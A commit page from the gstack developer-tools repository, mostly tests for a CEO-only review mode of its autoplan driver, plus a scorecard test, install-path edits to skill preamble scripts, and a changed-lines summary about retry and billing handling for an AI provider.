v1.92.64.0 stamp: merge main e657fa0b0d into #3698 (land)

This commit is contained in:
garrytan committed 2026-11-02 07:46:45 +00:00
commit 3bf4ee89bc
71 files changed
+2683 -227

No files matched your search

+303
View File
@@ -0,0 +1,303 @@
/**
* GST-537 PR 2: `gstack-autoplan next --ceo-only`, the driver twin of
* `/autoplan --ceo-only`. The run opens only the CEO phase, ends
* status=reviewed with ceo-review.md and auto_kept decision rows, never writes
* a gate or approves, keeps its artifacts schema-valid, and the verbs that need
* a gate refuse it with a coded line. The flag is command-line only.
*/
import { afterAll, describe, expect, test } from 'bun:test';
import { spawnSync } from 'node:child_process';
import * as crypto from 'node:crypto';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { importAutoplan } from '../lib/approval-record';
import { ROOT, SMALL_PLAN, attemptsOf, autoplan, env, journal, readRun, resultOf, review, runPhase, startSmallRun } from './helpers/autoplan-run-fixture';
const TMP = fs.mkdtempSync(path.join(os.tmpdir(), 'ap-ceo-only-'));
afterAll(() => fs.rmSync(TMP, { recursive: true, force: true }));
const dir = (name: string) => path.join(TMP, name);
const rows = (file: string) => fs.readFileSync(file, 'utf8').split('\n').filter(Boolean).map(l => JSON.parse(l));
describe('next --ceo-only runs the CEO phase alone and ends reviewed', () => {
const out = startSmallRun(dir('reviewed'), ['--ceo-only']);
const phase = runPhase(out, 'ceo');
const run = readRun(out);
test('init records the mode and skips every other phase', () => {
expect(run.ceo_only).toBe(true);
expect(run.phase_order).toEqual(['ceo']);
expect(run.required_phases).toEqual(['ceo']);
for (const p of ['design', 'eng', 'dx']) expect(run.phases[p].skipped).toBe('ceo-only run');
expect(journal(out).find(r => r.event === 'init').ceo_only).toBe(true);
});
test('closing CEO ends status=reviewed with the report, and no gate', () => {
expect(phase.outside.status).toBe(0);
expect(phase.outside.stdout).toContain('REVIEWED: ceo-only');
expect(phase.outside.stdout.trimEnd().split('\n').at(-1)).toBe(`GSTACK_RESULT: skill=autoplan status=reviewed run=${out}`);
expect(phase.outside.stdout).not.toContain('GATE:');
expect(run.status).toBe('reviewed');
expect(run.gate_rev).toBeUndefined();
expect(fs.existsSync(path.join(out, 'gate.json'))).toBe(false);
expect(journal(out).some(r => r.event === 'gate_written')).toBe(false);
});
test('ceo-review.md has the shared report sections and is hashed in run.json', () => {
const report = fs.readFileSync(path.join(out, 'ceo-review.md'), 'utf8');
expect(report.split('\n')[0]).toBe('# CEO-only review: Retry backoff for the webhook worker');
expect(report).toContain('Not approved.');
for (const h of ['## User challenges (direction kept)', '## Scope added', '## Conservative choices', '## Findings', '## Decision Audit Trail']) expect(report).toContain(h);
expect(report).toContain('Docs link the quickstart');
const sha = crypto.createHash('sha256').update(fs.readFileSync(path.join(out, 'ceo-review.md'))).digest('hex');
expect(run.artifacts['ceo-review.md']).toEqual({ path: 'ceo-review.md', sha256: sha });
});
test('decision rows are auto, auto_kept, the direction kept and unanswered; tasks name no p1', () => {
const decisions = rows(path.join(out, 'decisions.jsonl'));
expect(decisions.length).toBeGreaterThan(0);
for (const d of decisions) {
expect(d.kind).toBe('auto');
expect(d.status).toBe('auto_kept');
expect(d.chosen).toBe('a');
expect(d.answered_at).toBeUndefined();
expect(d.id.endsWith('-p1')).toBe(false);
}
const tasks = rows(path.join(out, 'tasks.jsonl'));
expect(tasks.length).toBeGreaterThan(0);
for (const t of tasks) { expect(t.blocked_by).toEqual([]); expect(t.status).not.toBe('blocked_on_decision'); }
});
test('an open Critical or High finding is decided by nobody: no decision row, still in the report and the tasks for the owner', () => {
const decisions = rows(path.join(out, 'decisions.jsonl'));
expect(decisions.some(d => /^(Critical|High): /.test(d.title))).toBe(false);
const report = fs.readFileSync(path.join(out, 'ceo-review.md'), 'utf8');
expect(report).toMatch(/\[Critical\] The install check lies by omission .*disposition: /);
expect(report).toMatch(/\[High\] Gate reuse on tree equality alone is unsound .*disposition: /);
expect(report).not.toMatch(/(Critical|High): .*kept/);
const tasks = rows(path.join(out, 'tasks.jsonl'));
expect(tasks.some(t => t.title === 'Gate reuse on tree equality alone is unsound' && t.priority === 'High')).toBe(true);
});
test('the artifact set validates and the plan is untouched', () => {
const v = spawnSync('bun', [path.join(ROOT, 'bin', 'gstack-artifact'), 'validate', path.join(out, 'run.json')], { cwd: ROOT, env: env(), encoding: 'utf8', timeout: 60_000 });
expect(v.stdout).toContain('ARTIFACT_VALID: ');
expect(v.stdout).toContain('status=reviewed');
expect(v.status).toBe(0);
expect(fs.readFileSync(path.join(dir('reviewed'), 'plan.md'), 'utf8')).toBe(SMALL_PLAN);
});
test('a later next or resume keeps reviewed and writes no gate', () => {
const next = autoplan(['next', '--out', out]);
expect(next.status).toBe(0);
expect(next.stdout).toContain('status=reviewed');
const resume = autoplan(['resume', '--out', out]);
expect(resume.status).toBe(0);
expect(resume.stdout).toContain('status=reviewed');
expect(fs.existsSync(path.join(out, 'gate.json'))).toBe(false);
});
test('answer, recommend and revise refuse CEO_ONLY_NO_GATE', () => {
const plan = path.join(dir('reviewed'), 'plan.md');
for (const args of [['answer', '--gate-rev', '1', '--reply', 'rec', '--by', 'human'], ['answer', '--reply', 'rec', '--by', 'human'],
['recommend', '--gate-rev', '1', '--item', 'd1', '--option', 'b', '--basis', 'x'], ['revise', '--plan', plan]]) {
const r = autoplan([args[0]!, '--out', out, ...args.slice(1)]);
expect(r.status, args.join(' ')).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_NO_GATE)');
}
expect(readRun(out).status).toBe('reviewed');
});
test('approvals import refuses a CEO-only run and an unreadable one', () => {
expect(importAutoplan(out, 'main')).toMatchObject({ code: 'CEO_ONLY_NO_GATE' });
const bad = dir('bad-run');
fs.mkdirSync(bad, { recursive: true });
fs.writeFileSync(path.join(bad, 'decisions.jsonl'), '');
fs.writeFileSync(path.join(bad, 'run.json'), '{not json');
expect(importAutoplan(bad, 'main')).toMatchObject({ code: 'ARTIFACT_INVALID_JSON' });
});
});
describe('a budget-stopped CEO-only run recovers the way a full run does', () => {
const stopped = (name: string, extra: Record<string, string> = {}) => {
fs.mkdirSync(dir(name), { recursive: true });
fs.writeFileSync(path.join(dir(name), 'plan.md'), SMALL_PLAN);
const out = path.join(dir(name), 'run');
const first = autoplan(['next', '--out', out, '--plan', path.join(dir(name), 'plan.md'), '--no-ui', '--ceo-only', '--spend-cap', '1', '--estimate-usd', '5'], { env: env(extra) });
expect(first.status).toBe(3);
expect(first.stderr).toContain('(SPEND_CAP_EXCEEDED)');
expect(readRun(out).status).toBe('incomplete');
return out;
};
test('budget then resume lifts the stop, and the run ends reviewed', () => {
const out = stopped('stopped-budget');
const budget = autoplan(['budget', '--out', out, '--spend-cap', '50', '--by', 'human']);
expect(budget.status, budget.stderr).toBe(0);
expect(autoplan(['resume', '--out', out]).stdout).toContain('STOP_LIFTED');
runPhase(out, 'ceo');
expect(readRun(out).status).toBe('reviewed');
expect(fs.existsSync(path.join(out, 'ceo-review.md'))).toBe(true);
});
test('close --deferred finishes it reviewed, with the report and no gate', () => {
const out = stopped('stopped-close');
const close = autoplan(['close', '--out', out, '--phase', 'ceo', '--deferred', 'out of budget', '--by', 'human']);
expect(close.status, close.stderr).toBe(0);
expect(close.stdout).toContain('REVIEWED: ceo-only');
expect(close.stdout.trimEnd().split('\n').at(-1)).toBe(`GSTACK_RESULT: skill=autoplan status=reviewed run=${out}`);
expect(fs.existsSync(path.join(out, 'ceo-review.md'))).toBe(true);
expect(fs.existsSync(path.join(out, 'gate.json'))).toBe(false);
});
});
describe('reviewed is a status at rest for checkpoints', () => {
test('resume on a reviewed run publishes a reviewed generation', () => {
const root = path.join(dir('ckpt'), 'drive');
const out = startSmallRun(dir('ckpt'), ['--ceo-only']);
runPhase(out, 'ceo');
expect(readRun(out).status).toBe('reviewed');
const resumed = autoplan(['resume', '--out', out], { env: env({ GSTACK_AUTOPLAN_CHECKPOINT_DIR: root }) });
expect(resumed.stderr).toContain('status=reviewed');
const current = JSON.parse(fs.readFileSync(path.join(root, readRun(out).run, 'current.json'), 'utf8'));
expect(current.status).toBe('reviewed');
});
});
describe('--ceo-only is a command-line flag for one run', () => {
const plan = (name: string, text = SMALL_PLAN) => { fs.mkdirSync(dir(name), { recursive: true }); const f = path.join(dir(name), 'plan.md'); fs.writeFileSync(f, text); return f; };
test('a phase-adding flag beside it refuses before anything is written', () => {
for (const flag of ['--ui', '--developer-tool', '--agent-primary']) {
const out = path.join(dir(`conflict${flag}`), 'run');
const r = autoplan(['next', '--out', out, '--plan', plan(`conflict${flag}`), '--ceo-only', flag]);
expect(r.status, flag).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)');
expect(fs.existsSync(path.join(out, 'run.json'))).toBe(false);
}
});
test('a scope marker naming it refuses, with or without the flag', () => {
const marked = plan('marker', `<!-- gstack-autoplan-scope: --no-ui --ceo-only -->\n${SMALL_PLAN}`);
for (const extra of [[], ['--ceo-only']]) {
const r = autoplan(['next', '--out', path.join(dir('marker'), `run${extra.length}`), '--plan', marked, ...extra]);
expect(r.status).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)');
}
});
test('a scope marker that adds a phase conflicts with the flag', () => {
for (const token of ['--ui', '--developer-tool', '--agent-primary']) {
const marked = plan(`marker${token}`, `<!-- gstack-autoplan-scope: ${token} -->
${SMALL_PLAN}`);
const out = path.join(dir(`marker${token}`), 'run');
const r = autoplan(['next', '--out', out, '--plan', marked, '--ceo-only']);
expect(r.status, token).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)');
expect(fs.existsSync(path.join(out, 'run.json'))).toBe(false);
}
});
test('a directory that holds a full run refuses it after init', () => {
const out = startSmallRun(dir('full'));
const r = autoplan(['next', '--out', out, '--ceo-only']);
expect(r.status).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_AFTER_INIT)');
expect(readRun(out).ceo_only).toBeUndefined();
expect(readRun(out).phase_order).toContain('eng');
});
});
describe('the CEO-only finish records no answer nobody gave and writes only its own report', () => {
test('a Critical left open by close --deferred stays undecided: no chosen option, listed as needing the owner', () => {
const out = startSmallRun(dir('blocker'), ['--ceo-only']);
const r = review(path.join(out, 'ceo-native-prompt.md'), { FIXTURE_FINDINGS: JSON.stringify([{ severity: 'Critical', title: 'Retries can double-charge', fix: 'idempotency key' }]) });
expect(r.status, r.stderr).toBe(0);
const ids = attemptsOf(out, 'ceo');
const bound = autoplan(['submit', '--out', out, '--phase', 'ceo', '--voice', 'native', '--result', resultOf(out, 'ceo', 'native'), '--model', 'anthropic/claude-opus-5-5', '--attempt', ids.native, '--runner', 'host-subagent']);
expect(bound.status, bound.stderr).toBe(0);
const close = autoplan(['close', '--out', out, '--phase', 'ceo', '--deferred', 'owner stop', '--by', 'human']);
expect(close.status, close.stderr).toBe(0);
expect(close.stdout).toContain('REVIEWED: ceo-only');
const blocker = rows(path.join(out, 'decisions.jsonl')).find(d => d.title.includes('Retries can double-charge'));
expect(blocker).toMatchObject({ kind: 'auto', status: 'auto_kept', chosen: null, default_if_unanswered: null });
const report = fs.readFileSync(path.join(out, 'ceo-review.md'), 'utf8');
expect(report).not.toContain('you accept the risk');
expect(report).toMatch(/Retries can double-charge.*left open for the owner/);
});
test('a plan at the report path refuses before anything is written', () => {
const out = path.join(dir('collide'), 'run');
fs.mkdirSync(out, { recursive: true });
const plan = path.join(out, 'ceo-review.md');
fs.writeFileSync(plan, SMALL_PLAN);
const r = autoplan(['next', '--out', out, '--plan', plan, '--no-ui', '--ceo-only']);
expect(r.status).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)');
expect(fs.existsSync(path.join(out, 'run.json'))).toBe(false);
expect(fs.readFileSync(plan, 'utf8')).toBe(SMALL_PLAN);
});
test('a plan that reaches the report path through a symlink, or through a symlinked --out, refuses too', () => {
const real = path.join(dir('alias'), 'real-run');
fs.mkdirSync(real, { recursive: true });
const report = path.join(real, 'ceo-review.md');
fs.writeFileSync(report, SMALL_PLAN);
const link = path.join(dir('alias'), 'input.md');
fs.symlinkSync(report, link);
const linkedOut = path.join(dir('alias'), 'linked-run');
fs.symlinkSync(real, linkedOut);
for (const [plan, out] of [[link, real], [report, linkedOut]]) {
const r = autoplan(['next', '--out', out!, '--plan', plan!, '--no-ui', '--ceo-only']);
expect(r.status, plan).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)');
expect(fs.existsSync(path.join(real, 'run.json'))).toBe(false);
}
expect(fs.readFileSync(report, 'utf8')).toBe(SMALL_PLAN);
});
test('a run whose plan entry is the report file refuses at the finish and leaves it intact', () => {
const out = startSmallRun(dir('same-entry'), ['--ceo-only']);
const report = path.join(out, 'ceo-review.md');
fs.writeFileSync(report, SMALL_PLAN);
const run = readRun(out);
fs.writeFileSync(path.join(out, 'run.json'), JSON.stringify({ ...run, plan_input: report }, null, 2) + '\n');
const submit = runPhase(out, 'ceo').outside;
expect(submit.status).toBe(3);
expect(submit.stderr).toContain('(CEO_ONLY_CONFLICT)');
expect(fs.readFileSync(report, 'utf8')).toBe(SMALL_PLAN);
expect(readRun(out).status).not.toBe('reviewed');
});
test('a plan hard-linked to the report path finishes: the rename replaces the link, never the plan', () => {
const out = startSmallRun(dir('hardlink'), ['--ceo-only']);
const plan = path.join(dir('hardlink'), 'plan.md');
fs.linkSync(plan, path.join(out, 'ceo-review.md'));
runPhase(out, 'ceo');
expect(readRun(out).status).toBe('reviewed');
expect(fs.readFileSync(plan, 'utf8')).toBe(SMALL_PLAN);
});
test('a --plan given as a symlink at the report path refuses', () => {
const out = path.join(dir('report-link'), 'run');
fs.mkdirSync(out, { recursive: true });
const plan = path.join(dir('report-link'), 'plan.md');
fs.writeFileSync(plan, SMALL_PLAN);
fs.symlinkSync(plan, path.join(out, 'ceo-review.md'));
const r = autoplan(['next', '--out', out, '--plan', path.join(out, 'ceo-review.md'), '--no-ui', '--ceo-only']);
expect(r.status).toBe(3);
expect(r.stderr).toContain('(CEO_ONLY_CONFLICT)');
});
test('a symlink at the report path is replaced, never written through', () => {
const out = startSmallRun(dir('symlink'), ['--ceo-only']);
const victim = path.join(dir('symlink'), 'victim.txt');
fs.writeFileSync(victim, 'keep me');
fs.symlinkSync(victim, path.join(out, 'ceo-review.md'));
runPhase(out, 'ceo');
expect(readRun(out).status).toBe('reviewed');
expect(fs.readFileSync(victim, 'utf8')).toBe('keep me');
expect(fs.lstatSync(path.join(out, 'ceo-review.md')).isSymbolicLink()).toBe(false);
});
});
+18
View File
@@ -68,6 +68,24 @@ describe('factory-scorecard: recorded window', () => {
expect(values.releases).toBe('1 (v1.0.0)');
});
test('free runs that ran no shards (reused main pushes) stay out of the free-retry count and its denominator (#3725)', () => {
// Value: protects=the free-retry rate is read over runs that executed shards only; fails_when=a reused run (no artifacts, reuse job green) counts as a zero-retry run again; why_new=#3725, after #3709 a main push that reuses its PR's run uploads nothing; seam=fixtureSource; no_claim=runs past --max-artifact-runs, which are not read
const fx = fixture();
const freeRuns = fx.responses[Object.keys(fx.responses).find(k => k.includes('/free-tests.yml/runs?'))!] as { workflow_runs: any[] };
const real = freeRuns.workflow_runs[0];
freeRuns.workflow_runs.splice(0, 0, { ...real, id: 8005, created_at: '2026-10-25T18:00:00Z' });
freeRuns.workflow_runs.splice(2, 0, { ...real, id: 8004, created_at: '2026-10-24T18:00:00Z' });
for (const id of [8004, 8005]) fx.responses[`repos/acme/widgets/actions/runs/${id}/attempts/1/jobs?per_page=100&page=1`] = { jobs: [
{ id: 1, name: 'reuse', conclusion: 'success' }, { id: 2, name: 'free-plan', conclusion: 'skipped' }, { id: 3, name: 'free-tests', conclusion: 'success' }] };
const card = collectScorecard(fixtureSource(fx, scratch()), options());
const clean = collectScorecard(fixtureSource(fixture(), scratch()), options());
expect(card.unavailable).toEqual([]);
expect(card.freeRuns).toEqual(clean.freeRuns);
expect(card.freeRuns.map(r => [r.id, r.retries])).toEqual([[8003, 0], [8002, 0], [8001, 2]]);
expect([card.freeRunsSkipped, clean.freeRunsSkipped]).toEqual([2, 0]);
expect(byId(scorecardRows(card)).flaky).toBe('2 paid case(s) passed on their one rerun (rerun spend $1.10); 2 free-suite retries in 1 of 3 runs; 2 reused main push(es) left out');
});
test('a crew login list overrides the author_association rule', () => {
const card = collectScorecard(fixtureSource(fixture(), scratch()), options({ crew: ['Alice'] }));
expect(byId(scorecardRows(card)).merged).toBe('3 (crew 1, outside 2)');
+6
View File
@@ -299,6 +299,12 @@
}
},
"artifacts": {
"8003": {
"free-result-shard-1": { "result.json": "{}" }
},
"8002": {
"free-result-shard-1": { "result.json": "{}" }
},
"8001": {
"flake-ledger-shard-1": {
"flake-ledger.jsonl": "{\"kind\":\"flaky-pass\",\"file\":\"test/a.test.ts\",\"shard\":\"shard-1\",\"attempts\":2}\n{\"kind\":\"flaky-pass\",\"file\":\"test/b.test.ts\",\"shard\":\"shard-1\",\"attempts\":2}\n{\"kind\":\"other\",\"file\":\"test/c.test.ts\"}\n"
+4 -3
View File
@@ -17,9 +17,10 @@ This skill follows gstack shared preamble `6872f1ec4eb9` (AskUserQuestion format
## Preamble (run first)
```bash
[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=~/.gemini/antigravity-cli/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host agy from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}
GSTACK_BIN=$GSTACK_ROOT/bin
"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "gemini"
[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=~/.gemini/antigravity-cli/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host agy from your gstack checkout; ./setup --status shows it.">&2
"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "gemini"
```
**Antigravity tool names:** `AskUserQuestion` means your `ask_question` tool (options as choices); there is no `mcp__*__AskUserQuestion` variant. The Bash tool means `run_command`, the Read tool `view_file`, the Write tool `write_to_file`, the Edit tool `replace_file_content` (`multi_replace_file_content` for several edits in one file), Grep `grep_search`, Glob `find_by_name`, and the Agent tool `invoke_subagent`. There is no Skill tool: load a skill by reading its SKILL.md with `view_file`. If a step says to call `ExitPlanMode`, tell the user the plan is ready and wait. `view_file` can return only part of a long file: when a SKILL.md or a file it tells you to read ends before its last line, read the remaining line ranges before acting on it.
+4 -3
View File
@@ -17,9 +17,10 @@ This skill follows gstack shared preamble `2af24c2d75e4` (AskUserQuestion format
## Preamble (run first)
```bash
[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=${CODEX_HOME:-~/.codex}/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}
GSTACK_BIN=$GSTACK_ROOT/bin
"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "gpt"
[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${CODEX_HOME:-~/.codex}/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2
"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "gpt"
```
Read the echoed `KEY: value` STATUS lines — they drive every preamble rule
+4 -3
View File
@@ -19,9 +19,10 @@ This skill follows gstack shared preamble `99cd6cb5d373` (AskUserQuestion format
## Preamble (run first)
```bash
[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack;[ -d "$_r/bin" ]||_r=~/.factory/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}
GSTACK_BIN=$GSTACK_ROOT/bin
"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "claude"
[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=~/.factory/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2
"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "claude"
```
Read the echoed `KEY: value` STATUS lines — they drive every preamble rule
+3
View File
@@ -59,6 +59,7 @@
{ "file": "scripts/eval-bg.ts", "movedFrom": "(new: eval:bg dispatch/local backend, W5d)" },
{ "file": "test/helpers/module-size.ts", "movedFrom": "(new: ratchet (c) counter)" },
{ "file": "scripts/lib/free-home-guard.ts", "movedFrom": "(new: free-lane home-write tripwire, kept out of scripts/test-free-shards.ts)" },
{ "file": "scripts/lib/shard-jobs.ts", "movedFrom": "(new: --ci-run --jobs sub-shards and per-file JUnit counts, kept out of scripts/test-free-shards.ts and scripts/lib/shard-engine.ts, GSTA-203)" },
{ "file": "browse/src/routes/activity.ts", "movedFrom": "browse/src/server.ts" },
{ "file": "browse/src/routes/commands.ts", "movedFrom": "browse/src/server.ts" },
{ "file": "browse/src/routes/core.ts", "movedFrom": "browse/src/server.ts" },
@@ -105,6 +106,7 @@
{ "file": "lib/result-codes-budget.ts", "movedFrom": "lib/result-codes.ts (the /ship token budget and handoff rows; GSTA-152)" },
{ "file": "lib/result-codes-eval.ts", "movedFrom": "lib/result-codes.ts (the /eval-plan preregistration rows and the no-gstack arm; GSTA-168)" },
{ "file": "lib/result-codes-plan.ts", "movedFrom": "lib/result-codes.ts (the plan-review fact-check and task-list rows: REALITY receipts, the office-hours probe, gstack-tasks; GSTA-228)" },
{ "file": "lib/result-codes-autoplan.ts", "movedFrom": "lib/result-codes.ts (the CEO-only driver run rows; GST-537)" },
{ "file": "lib/ship-budget.ts", "movedFrom": "(new: /ship token budget ledger, meters and admission, GSTA-152)" },
{ "file": "lib/ship-budget-cli.ts", "movedFrom": "(new: bin/gstack-ship-budget start/check/settle/close/resume, GSTA-152)" },
{ "file": "lib/ship-handoff.ts", "movedFrom": "(new: /ship fresh-context handoff, verify, return and reconcile, GSTA-152)" },
@@ -127,6 +129,7 @@
{ "file": "lib/autoplan-state.ts", "movedFrom": "(new: the unattended runner's on-disk state, journal and locked writes, B2)" },
{ "file": "lib/autoplan-run.ts", "movedFrom": "(new: next/submit/resume over lib/autoplan-state.ts, B2)" },
{ "file": "lib/autoplan-gate.ts", "movedFrom": "(new: phase close, gate build, answer and reopen, B2/B9)" },
{ "file": "lib/autoplan-ceo-only.ts", "movedFrom": "(new: the CEO-only driver run's finish, report and refusals, GST-537)" },
{ "file": "lib/autoplan-export.ts", "movedFrom": "(new: the unattended export file set, B2/B12)" },
{ "file": "lib/spec-review-cap.ts", "movedFrom": "(new: the spec-review loop at the cap: numbered gaps and deterministic fix verification, B8)" },
{ "file": "bin/gstack-autoplan", "movedFrom": "(new: thin entrypoint over lib/autoplan-run.ts, B2)" },
+139
View File
@@ -0,0 +1,139 @@
{
"source": "garrytan/gbrain-evals#289 (merge 513de26d): changed lines of its code-class paths, read as text via gh pr diff",
"paths": [
"CHANGELOG.md",
"docs/benchmarks/cat40-hard/accepted-drift.json",
"docs/benchmarks/cat40-hard/calibration.md",
"docs/usage-receipt.md",
"eval/runner/cat40/loop.ts",
"eval/runner/harness-metering-proxy.ts",
"eval/runner/providers/openai-compatible.ts",
"eval/runner/q1/cell.ts",
"eval/runner/systems/baselines.ts",
"eval/workload-suites/bench-infra.ts",
"scripts/particle-canary.ts",
"test/eval/cat40-particle-loop.test.ts",
"test/eval/file-agent.test.ts",
"test/eval/harness-metering-proxy.test.ts",
"test/eval/memory-qa-particle.test.ts",
"test/eval/openai-compatible.test.ts",
"test/eval/particle-canary.test.ts",
"test/eval/q1-cell.test.ts",
"test/eval/workload-particle.test.ts"
],
"added": {
"eval/runner/cat40/loop.ts": [
"/** A provider's non-2xx answer, after backoff for retryable statuses, or a particle 2xx without a message (its 2xx status). */",
" * Particle runs only: the run ended on a turn that timed out, lost its connection after it went out, or was answered",
" * 2xx without a message (`compatMayHaveBilled`). Particle may have billed that turn, so a caller never runs the",
" * question again.",
" * recorded, and a 2xx that is not JSON or has no `choices[0].message` is recorded and thrown as a ProviderError with",
" * its 2xx status, never sent again, because the provider answered it and may have billed it (issue #280). A `compat`",
" * request is sent with `compatDeadlineMs` instead of Bun's 300-second fetch timeout, and a 504 (a gateway's or the lease",
" const answered = new ProviderError(res.status, `${compat} answered ${res.status} ${parsed ? 'without choices[0].message' : 'with a body that is not JSON'}: ${text.slice(0, 300)}`);",
" onAttempt?.({ status: 'error', response: json, error: answered.message, ms: Date.now() - t, retry_after_ms: null });",
" throw answered;"
],
"eval/runner/harness-metering-proxy.ts": [
" * A particle request that failed after it went out (the upstream deadline",
" * passed, the connection reset or closed, or the response body failed to",
" * read) is answered 504 `mpw_proxy_upstream_lost`, which no particle client",
" * sends again, because Particle may have billed it. Any other upstream",
" * failure, such as a refused connection, is a 502",
" * `mpw_proxy_upstream_unreachable` that a client may send again (issue #282).",
" *",
"import { carriesKeyInCleartext, COMPAT_PROVIDERS, compatConnectionLost } from './providers/openai-compatible.ts';",
" const lost = provider === 'particle' && ((error as Error).name === 'TimeoutError' || compatConnectionLost(error));",
" const message = `metering proxy ${lost ? 'lost the request it sent to' : 'could not reach'} ${provider}: ${(error as Error).message}`;",
" return finish(lost ? errorResponse(504, 'mpw_proxy_upstream_lost', message) : errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, 0, message), error: message });",
" return finish(provider === 'particle' ? errorResponse(504, 'mpw_proxy_upstream_lost', message) : errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, upstream.status, message), error: message });"
],
"eval/runner/providers/openai-compatible.ts": [
"/** A non-2xx answer that is not a budget stop, or a 2xx answer without a usable `choices[0].message` (`compatSend`). */",
" * A request the provider may have billed: it timed out (`compatTimedOut`), its connection was lost after it went out",
" * (`compatConnectionLost`), or it was answered 2xx without a usable `choices[0].message` (an error carrying that 2xx",
" * status, issue #280). A caller never sends it again, with or without a metering proxy in front.",
" const status = (e as { status?: unknown } | null)?.status;",
" return compatTimedOut(e) || compatConnectionLost(e) || (typeof status === 'number' && status >= 200 && status < 300);",
" * decides any retry. A 2xx answer without `choices[0].message`, or whose body is not JSON, is an error carrying its 2xx",
" * status and the usage it reported, never an empty answer, and it is not retryable: the provider answered, so it may",
" * have billed it (`compatMayHaveBilled`, issue #280). `timeoutMs` (300 s unless given) is the only deadline: Bun's own",
" * 300-second fetch timeout is off, so a longer deadline holds.",
" catch { throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: false, retryAfterMs: null, body: `response body is not JSON: ${text.slice(0, 200)}` }); }",
" if (!Array.isArray(choices) || !choices[0]?.message) throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: false, retryAfterMs: null, body: `response has no choices[0].message: ${text.slice(0, 200)}` }, parsed.usage);"
],
"eval/runner/q1/cell.ts": [
" /** `final`: a try that must not be sent again (an OpenAI-compatible request that timed out, lost its connection or was answered 2xx without a message, which the provider may have billed). */"
],
"eval/runner/systems/baselines.ts": [
" /** The last request timed out, lost its connection after it went out or was answered 2xx without a message; Particle may have billed it, so the cell never sends it again. */",
" * (`compatDeadlineMs`), and one that times out, loses its connection after it went out or is answered 2xx without a",
" * message (`compatMayHaveBilled`) is a `reader_error` that is never sent again, because Particle may have billed it. Each attempt is recorded, the failed ones with null response"
],
"eval/workload-suites/bench-infra.ts": [
"import { COMPAT_PROVIDERS, CompatHttpError, ParticleCreditExhausted, compatMayHaveBilled, compatRequest, compatSend, type CompatRequest, type CompatResponse } from '../runner/providers/openai-compatible.ts';",
" * not Bun's 300-second fetch timeout. A request Particle may have billed (`compatMayHaveBilled`: it timed out, lost its",
" * connection after it went out, was answered 504, which the harness proxy sends when its upstream request failed after",
" * it went out, or was answered 2xx without a message) is never sent again (issue #282).",
" const retry = !compatMayHaveBilled(error) && (http ? http.retryable && attempt < 5 : !budget && attempt < 4);"
],
"scripts/particle-canary.ts": [
"import { CompatHttpError, assertMetered, compatBaseUrl, compatMayHaveBilled, compatRequest, compatSend, isLoopbackUrl, type CanarySampling, type CompatLogprob, type CompatRequest } from '../eval/runner/providers/openai-compatible.ts';",
"/**",
" * Send the canary once per prompt (up to 3 attempts on a 429 or 5xx, honoring a capped Retry-After). A request Particle",
" * may have billed (`compatMayHaveBilled`: a 504, or a 2xx without a message) is never sent again (issue #282). A budget",
" * stop ends it after its receipt.",
" */",
